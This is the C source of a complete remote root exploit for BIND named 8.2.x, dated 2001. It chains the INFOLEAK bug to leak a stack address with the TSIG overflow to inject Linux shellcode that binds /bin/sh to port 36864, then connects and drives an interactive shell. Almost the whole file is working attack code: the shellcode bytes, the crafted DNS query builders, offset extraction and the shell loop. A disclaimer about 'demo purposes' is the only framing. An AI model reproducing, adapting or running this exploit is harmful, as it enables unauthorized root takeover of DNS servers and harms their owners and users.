/* 
 * lame named 8.2.x remote exploit by 
 *
 *   Ix         [adresadeforward@yahoo.com] (the master of jmpz), 
 *   lucysoft   [lucysoft@hotmail.com] (the master of queries)
 *
 * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
 * linux only shellcode
 * this is only for demo purposes, we are not responsable in any way for what you do with this code.
 *
 * flamez       - canaris
 * greetz       - blizzard, netman.
 * creditz      - anathema <anathema@hack.co.za> for the original shellcode
 *              - additional code ripped from statdx exploit by ron1n
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =
/* main: */
"\xeb\x7b"                                /* jmp callz               */ // 2 - 2
/* start: */
"\x5e"                                    /* popl %esi               */ // 1 - 3

  /* socket() */
"\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                                    /* incl %eax               */ // 1 - 9
"\x89\xc3"                                /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                                    /* incl %eax               */ // 1 - 15
"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"                                /* int $0x80               */ // 2 - 25

  /* bind() */
"\x43"                                    /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"                                /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */ // 3 - 44
"\xb0\x90"                                /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 59

// 2 jump + 1 + 5 free + 1

"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 61
"\xcd\x80"                                /* int $0x80               */ // 2 - 2

  /* listen() */
"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
"\x43"                                    /* incl %ebx               */
"\x43"                                    /* incl %ebx               */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */

  /* accept() */
"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */ // 3 - 5
"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */ // 3 - 8
"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 10
"\x43"                                    /* incl %ebx               */ // 1 - 11
"\xcd\x80"                                /* int $0x80               */ // 1 - 12

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                                /* xchgb %al, %bl          */ // 2 - 14
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 16
"\x29\xc9"                                /* subl %ecx, %ecx         */ // 2 - 18
"\xcd\x80"                                /* int $0x80               */ // 2 - 20
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 22
"\x41"                                    /* incl %ecx               */ // 1 - 23
"\xcd\x80"                                /* int $0x80               */ // 2 - 25
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 27
"\x41"                                    /* incl %ecx               */ // 1 - 28
"\xcd\x80"                                /* int $0x80               */ // 2 - 30

  /* execve() */
"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */ // 3 - 33
"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */ // 3 - 36
"\x87\xf3"                                /* xchgl %esi, %ebx        */ // 2 - 38
"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */ // 3 - 41
"\xb0\x0b"                                /* movb $0x0b, %al         */ // 2 - 44
"\xcd\x80"                                /* int $0x80               */ // 2 = 46

"\x90\x90\x90\x90\x90\x90\x90"

// 2 jump + 1 + 5 free + 1

/* callz: */
"\xe8\x70\xff\xff\xff"                    /* call start              */ // 5 - 51
"/bin/sh\0";                                                            // 8 - 59


//      {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot",       0xbffffa88, 28, 0x080d7cd0, 0x40111704, 0x330, 6},

unsigned long resolve_host(char* host)
{
        long res;
        struct hostent* he;

        if (0 > (res = inet_addr(host)))
        {
                if (!(he = gethostbyname(host)))
                        return(0);
                res = *(unsigned long*)he->h_addr;
        }
        return(res);
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "uname -a; id;\n", 15, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            if(send(sockd, buff, ret, 0) != ret)
            {
                fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}


connection(struct sockaddr_in host)
{
        int sockd;

        host.sin_port = htons(36864);

        printf("connecting..\n");
        usleep(2000);

        if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        {
                exit(EXIT_FAILURE);
        }

        if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
        {
                printf("wait for your shell..\n");
                usleep(500);
                runshell(sockd);
        }
        else
        {
                printf("error: named not vulnerable or wrong offsets used\n");
        }

        close(sockd);
}




int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = htons(0xff);
        
        memset(buff, 0, BUFFSIZE);
        hdr = (HEADER*)buff;

        hdr->id = htons(0xbeef);
        hdr->opcode  = IQUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(0);
        hdr->nscount = htons(0);
        hdr->ancount = htons(1);
        hdr->arcount = htons(0);
        

        ptr = buff + sizeof(HEADER);        

        n = 62;

        for (k = 0; k < dummy_names; k++)
        {
                *ptr++ = n;
                ptr += n;

        }

        ptr += INT16SZ;

        PUTSHORT(htons(1/*ns_t_a*/), ptr);              /* type */
        PUTSHORT(htons(T_A), ptr);                      /* class */
        PUTLONG(htons(1), ptr);                /* ttl */
                       
        PUTSHORT(evil_size, ptr);       /* our *evil* size */

        return(ptr - buff + qry_space);

}

                                                                        

int evil_query(char* buff, int offset)
{
        int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
        HEADER* hdr;
        char *ptr;
        int k, bufflen;
        u_int n, m;
        u_short s;
        int i;
        int shelloff, shellstarted;
        int towrite, ourpack;
        int n_dummy_rrs = 7;

        shelladdr = offset - 0x200;

        lameaddr  = shelladdr + 0x330;

        ourpack = offset - 0x250 + 2;
        towrite = (offset & ~0xff) - ourpack - 6;

        printf("# %x newebp\n", offset & ~0xff);
        printf("# %x towrite\n", towrite);


        rroffsetidx = towrite / 70;
        offset0 = towrite - rroffsetidx * 70;

        printf("+ %x rr recidx\n", rroffsetidx);
        printf("+ %x offset\n", offset0);

        if ((offset0 > 53) || (rroffsetidx > 6))
        {
                printf("could not write our data in buffer\n");
                return(-1);
        }

        rrshellidx = 1;
        deplshellcode = 2;

        hdr = (HEADER*)buff;

        memset(buff, 0, BUFFSIZE);

        /* complete the header */

        hdr->id = htons(0xdead);
        hdr->opcode  = QUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(n_dummy_rrs);
        hdr->ancount = htons(0);
        hdr->arcount = htons(1);

        ptr = buff + sizeof(HEADER);

        shellstarted = 0;
        shelloff = 0;

        n = 63;
        for (k = 0; k < n_dummy_rrs; k++)
        {
//              printf("* rr: %d\n", k);
                *ptr++ = (char)n;

                for(i = 0; i < n-2; i++)
                {
                        if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
                        {
                                printf("* injecting shellcode\n", k);
                                shellstarted = 1;
                        }

                        if ((k == rroffsetidx) && (i == offset0 + 0))
                        {
                                printf("# %x stackfrm\n", lameaddr);
                                //caller's frame
                                *ptr++ = lameaddr & 0x000000ff;
                                i++;
                                *ptr++ = (lameaddr & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (lameaddr & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (lameaddr & 0xff000000) >> 24;
                        }
                        else if ((k == rroffsetidx) && (i == offset0 + 8))
                        {
                                printf("# args %x, %x\n", argevdisp1, argevdisp2);
                                //evDispatch args
                                *ptr++ = argevdisp1 & 0x000000ff;
                                i++;
                                *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (argevdisp1 & 0xff000000) >> 24;
                                i++;
                                *ptr++ = argevdisp2 & 0x000000ff;
                                i++;
                                *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (argevdisp2 & 0xff000000) >> 24;
                        } else
                        if ((k == rroffsetidx) && (i == offset0 + 4))
                        {
                                printf("# %x shellcode\n", shelladdr);
                                //shellcode
                                *ptr++ = shelladdr & 0x000000ff;
                                i++;
                                *ptr++ = (shelladdr & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (shelladdr & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (shelladdr & 0xff000000) >> 24;
                        }
                        else
                        {
                                if (shellstarted)
                                {
                                        *ptr++ = shellcode[shelloff++];
                                }
                                else
                                {
                                        *ptr++ = i;
                                }
                        }
                }

                *ptr++ = 0xeb; 

                if (k == 0)
                {
                        *ptr++ = 0x09; //jmp 3

                        m = 2;

                        *ptr++ = (char)m;
                        for(i = 0; i < m; i++)
                        {
                                *ptr++ = i;
                        }
                }
                else
                {
                        *ptr++ = 0x07; //jmp 1
                }

                *ptr++ = 0xc0; /*NS_CMPRSFLGS*/

                ptr += 5;
        }

        s = htons(0xfa) /* ns_t_tsig */;
        PUTLONG(s, ptr);

        for (k = 0; k < 1; k++)
        {
                *ptr++ = 0x90;
        }

        bufflen = ptr - buff;
        return(bufflen);
}


long xtract_offset(char* buff)
{
        long ret, idx, now;

        idx = 0x214;
        now = 0;

        ret = *((long*)&buff[idx]);
        if ((ret > 0xbfff0000) && (ret < 0xc0000000))
        {
                now = 1;
        }

        while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000))))
        {
                idx += 4;
                ret = *((long*)&buff[idx]);
                if (ret == 1)
                {
                        now = 1;
                }
        }

        argevdisp1 = 0x080d7cd0;
        argevdisp2 = *((long*)&buff[0x264]);

        return(ret);
}




int main(int argc, char* argv[])
{
        struct sockaddr_in sa;
        int sock;
        long address;
        char buff[BUFFSIZE];
        int len, i;
        long offset;
        socklen_t reclen;

        printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n");

        address = 0;
        if (argc < 2)
        {
                printf("usage : %s host\n", argv[0]);

                return(-1);
        }

        if (!(address = resolve_host(argv[1])))
        {
                printf("unable to resolve %s, try using an IP address\n", argv[1]);
                return(-1);
        }

        sa.sin_family = AF_INET;

        if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
        {
                return(-1);
        }

        sa.sin_family = AF_INET;
        sa.sin_port = htons(53);
        sa.sin_addr.s_addr= address;


        len = infoleak_qry(buff);
        len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
        if (len < 0)
        {
                printf("unable to send iquery\n");
                return(-1);
        }

        reclen = sizeof(sa);
        len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
        if (len < 0)
        {
                printf("unable to receive iquery answer\n");
                return(-1);
        }
        printf("iquery resp len = %d\n", len);

        offset = xtract_offset(buff);
        printf("retrieved stack offset = %x\n", offset);


        len = evil_query(buff, offset);

        sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

        if (0 > close(sock))
        {
                return(-1);
        }

        connection(sa);

        return(0);
}
/*                   www.hack.co.za  [11 march 2001]*/